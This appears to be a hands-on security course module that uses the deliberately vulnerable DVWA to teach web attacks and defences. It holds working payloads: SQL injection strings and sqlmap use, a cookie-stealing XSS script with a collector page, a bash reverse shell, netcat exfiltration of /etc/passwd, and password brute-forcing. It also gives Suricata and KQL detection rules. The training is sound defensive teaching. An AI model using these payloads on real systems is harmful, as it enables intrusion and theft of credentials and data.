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FILE: MOD7_Web_Application_Security.md

MODULE 7: WEB APPLICATION SECURITY

Learning Objectives

Understand OWASP Top 10 vulnerabilities
Perform SQL injection and XSS attacks
Use Burp Suite for web app penetration testing
Configure Web Application Firewall (WAF) defenses
Detect web attacks in Security Onion

OWASP TOP 10 (2021)

A01 - Broken Access Control
A02 - Cryptographic Failures
A03 - Injection (SQL, Command, LDAP)
A04 - Insecure Design
A05 - Security Misconfiguration
A06 - Vulnerable Components
A07 - Authentication Failures
A08 - Software and Data Integrity Failures
A09 - Security Logging Failures
A10 - Server-Side Request Forgery (SSRF)

LAB 7.1: DEPLOY DVWA (DAMN VULNERABLE WEB APP)

# On victim network (VLAN 400), deploy Docker container
# From Proxmox, create Ubuntu VM (VM ID 402)

# Install Docker
sudo apt update
sudo apt install docker.io -y
sudo systemctl start docker

# Deploy DVWA
sudo docker run -d -p 80:80 vulnerables/web-dvwa
# Access at http://10.10.4.20/

# Initial setup:
# - Create database (click button)
# - Login: admin / password
# - Set security level: Low (for learning)

LAB 7.2: SQL INJECTION

Understanding SQL Injection

Vulnerable code example:

$query = "SELECT * FROM users WHERE username='$_POST[user]' AND password='$_POST[pass]'";

Attack: Inject SQL syntax to bypass authentication

Hands-On SQL Injection

1. Navigate to DVWA > SQL Injection

2. Test for vulnerability:
   Input: 1' OR '1'='1
   # Completes SQL: SELECT * FROM users WHERE user_id = '1' OR '1'='1'
   # Always true → Returns all users

3. Enumerate database structure:
   Input: 1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() #
   # Shows all table names

4. Extract data:
   Input: 1' UNION SELECT user, password FROM users #
   # Dumps usernames and password hashes

5. Use SQLMap (automated tool):
   # From Kali
   sqlmap -u "http://10.10.4.20/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=abc123; security=low" --dbs
   # --dbs: List databases
   # --tables -D dvwa: List tables in dvwa database
   # --dump -T users: Dump users table

Defense: Prepared Statements

// SECURE code using prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['user'], $_POST['pass']]);

LAB 7.3: CROSS-SITE SCRIPTING (XSS)

Types of XSS

Reflected XSS: Payload in URL, reflected in response
Stored XSS: Payload saved in database, displayed to all users
DOM-based XSS: Payload manipulates client-side JavaScript

Reflected XSS Attack

1. Navigate to DVWA > XSS (Reflected)

2. Simple payload:
   Input: <script>alert('XSS')</script>
   # JavaScript executes in browser

3. Cookie theft payload:
   Input: <script>document.location='http://10.10.2.50/steal.php?cookie='+document.cookie</script>
   # Sends victim's cookies to attacker server

4. On Kali, setup listener:
   # Create steal.php:
   <?php
   file_put_contents('stolen_cookies.txt', $_GET['cookie'] . "\n", FILE_APPEND);
   ?>

   # Start PHP server:
   php -S 0.0.0.0:80

5. Send malicious link to victim:
   http://10.10.4.20/vulnerabilities/xss_r/?name=<script>document.location='http://10.10.2.50/steal.php?cookie='+document.cookie</script>

Defense: Input Validation & Output Encoding

// SECURE: HTML encode output
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

LAB 7.4: BURP SUITE ESSENTIALS

Setup Burp Suite

1. Launch Burp Suite Community Edition (pre-installed on Kali)
   burpsuite &

2. Configure Firefox proxy:
   Preferences > Network Settings > Manual proxy
   HTTP Proxy: 127.0.0.1
   Port: 8080
   Check: "Use this proxy for all protocols"

3. Navigate to DVWA in Firefox
   - Burp captures all HTTP requests

4. Burp Proxy Tab:
   - Intercept is on: Requests pause, you can modify
   - Intercept is off: Requests pass through (logged in HTTP history)

Intercepting and Modifying Requests

1. Login to DVWA (admin/password)
2. In Burp, see POST request with credentials
3. Right-click request > Send to Repeater
4. In Repeater tab:
   - Modify parameters
   - Click "Send"
   - View response
5. Example: Change security level in cookie
   Original: security=low
   Modified: security=impossible
   # Bypass security restrictions

Intruder (Automated Attacks)

1. Capture login request in Burp Proxy
2. Right-click > Send to Intruder
3. Intruder tab:
   - Attack type: Sniper (single parameter)
   - Positions: Highlight password field, click "Add §"
4. Payloads tab:
   - Payload type: Simple list
   - Load: /usr/share/wordlists/rockyou.txt
5. Start attack:
   - Brute-force passwords
   - Look for different response length (successful login)

LAB 7.5: COMMAND INJECTION

Exploiting OS Command Injection

1. Navigate to DVWA > Command Injection

2. Test input:
   Input: 127.0.0.1
   # Normal ping command executes

3. Chain commands:
   Input: 127.0.0.1 | whoami
   # Executes: ping 127.0.0.1 | whoami
   # Shows current user

4. Reverse shell via command injection:
   Input: 127.0.0.1 | bash -i >& /dev/tcp/10.10.2.50/4444 0>&1
   # On Kali first: nc -lvnp 4444
   # Gets shell on web server

5. Exfiltrate data:
   Input: 127.0.0.1 | cat /etc/passwd | nc 10.10.2.50 5555
   # On Kali: nc -lvnp 5555 > passwd_stolen.txt

LAB 7.6: WEB APPLICATION FIREWALL (WAF)

Deploy ModSecurity on pfSense

1. pfSense > System > Package Manager
2. Available Packages > Search: "snort" or "suricata"
   # Suricata can act as WAF for HTTP

3. Alternatively, use DVWA's built-in security levels:
   - Low: No protection
   - Medium: Basic filtering
   - High: Strong protection
   - Impossible: Secure code implementation

4. Configure Suricata for HTTP inspection:
   Services > Suricata > Interface: LAN
   - Enable: Application Layer Protocols > HTTP
   - Rules: Enable ET web_server and web_client categories

Custom WAF Rules (Suricata)

# Create custom rule to block SQL injection
alert http any any -> $HOME_NET any (msg:"SQL Injection Attempt"; flow:established,to_server; content:"UNION"; http_uri; content:"SELECT"; http_uri; sid:1000001; rev:1;)

# Block XSS attempts
alert http any any -> $HOME_NET any (msg:"XSS Attempt - Script Tag"; flow:established,to_server; content:"<script"; http_uri; nocase; sid:1000002; rev:1;)

# Detect command injection
alert http any any -> $HOME_NET any (msg:"Command Injection - Pipe Character"; flow:established,to_server; content:"|"; http_uri; sid:1000003; rev:1;)

LAB 7.7: WEB ATTACK DETECTION IN SECURITY ONION

KQL Queries for Web Attacks

# SQL Injection detection
http.request.body: (*UNION* AND *SELECT*) OR http.request.uri: (*UNION* AND *SELECT*)

# XSS detection
http.request.uri: (*<script* OR *javascript:* OR *onerror=*)

# Command injection
http.request.body: (*;* OR *|* OR *&&*) AND http.request.body: (*whoami* OR *cat* OR */etc/passwd*)

# Web shell upload
http.request.body: *<?php* AND file.extension: php

# Directory traversal
http.request.uri: (*../* OR *..\*)

Create Detection Rule

1. Security Onion > Kibana > Security > Rules

2. Create custom rule:
   Name: Web Attack - SQL Injection
   Index pattern: so-*
   Rule query:
     http.request.body: *UNION* AND http.request.body: *SELECT*
   Severity: High
   MITRE: T1190 (Exploit Public-Facing Application)

DELIVERABLES

SQL injection attack demonstration (screenshots)
Stored XSS payload that captures cookies
Burp Suite Intruder brute-force results
Command injection reverse shell capture
WAF rule configuration blocking attacks
Security Onion detection rules for web attacks
Report: OWASP Top 10 vulnerabilities found in DVWA

END OF MODULE 7

Proceed to MOD8: Threat Intelligence & Hunting to map attacks to MITRE ATT&CK.

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